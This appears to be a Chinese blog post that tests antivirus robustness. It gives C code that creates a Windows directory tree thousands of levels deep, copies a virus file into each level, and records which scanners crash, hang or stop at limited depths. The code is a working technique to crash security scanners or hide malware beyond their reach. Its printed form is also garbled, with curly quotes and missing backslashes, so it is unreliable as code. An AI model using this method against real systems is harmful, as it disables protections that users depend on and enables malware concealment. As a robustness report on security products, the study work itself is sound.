本文以奇特的思路,对国内安全产商的产品进行测试。结果,全部阵亡……
思路
利用W版文件函数创建超深路径目录,并在目录中沿途放置病毒,以测试各大杀软扫描器。
源码
// 最大目录深度测试
// 用于测试扫描目录会不会崩溃
#include <windows.h>
#include <stdio.h>
#include <strsafe.h>
wchar_t dirname[32767 + 1] = { LR”(\?C:)” };
wchar_t virusname[32767 + 100] = { 0 };
int main(int argc, char** argv)
{
for (int i = 0; i < 16380; ++i)
{
wcscat_s(dirname, LR”(a)”);
if (CreateDirectoryW(dirname, NULL))
{
;
// printf(“创建成功:%lsn”, dirname);
}
else
{
printf(“创建失败:%ls 此时的i==%dn”, dirname, i);
break;
}
StringCbPrintfW(virusname, (32767 + 100) * 2, L”%sv”, dirname);
if (CopyFileW(L”c:\virus”, virusname, TRUE))
{
printf(“copy success! i==%dn”, i);
}
else
{
;
DWORD dwerr = GetLastError();
printf(“copy failed! %d n”, dwerr);
}
}
system(“pause”);
return 0;
}
一共放置了0~16366共16367个病毒,0~16367一共16368个目录,16367+16368 = 32735, 用everything验证一下(everything也卡了半天):
没错,数字正确,接下来就开始测试。
各安全软件测试
今天主要来测试的就是昨天成功扫出508个,但由于我的BUG导致没法继续测试的杀软。
金山毒霸
可以明显地看出kscan的内存也在不断上升。
到了10024个文件的时候突然弹了一个runtime library的窗口:
然而这窗口透明的,也不知道它显示了什么,在这之后扫描似乎没有继续下去了:
把弹出的窗口关闭,可以看到程序错误:
阵亡了,下一个。
火绒
扫描之前:
扫描开始十几秒后闪退,之后出现如下画面:
腾讯电脑管家
腾讯扫描了几秒钟就完成了扫描,扫了131级目录,可以看出它并不会再往深处继续扫描下去。
瑞星杀软V17试用版
扫描开始数秒后直接崩溃:
360杀毒
不知为什么扫描时会闪烁显示这个字符串:
扫到2044个之后,再也没增加了,另外我的explorer似乎卡死了,360杀毒实时监控崩溃:
360安全卫士
在扫了大概一小时四十七分钟后,崩溃了,那一瞬间我没捕捉到。 可以看到资源监视器中的下降波形,是它崩溃的形状。
卡巴斯基
扫描到1068个之后卡住,然后看着everything中对象数目从32735龟速下降:
32735-1068=31667, 看它到了这个数之后还会不会继续减少吧。
可以看到卡巴只扫描1068级目录。
总结
- 火绒,瑞星瞬间崩溃
- 腾讯电脑管家查杀131级目录,卡巴斯基查杀1068级目录
- 360杀毒扫描2000多个文件后卡住, 实时监控崩溃
- 360安全扫描1小时47分钟后崩溃
- 金山毒霸扫描2小时之后崩溃
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。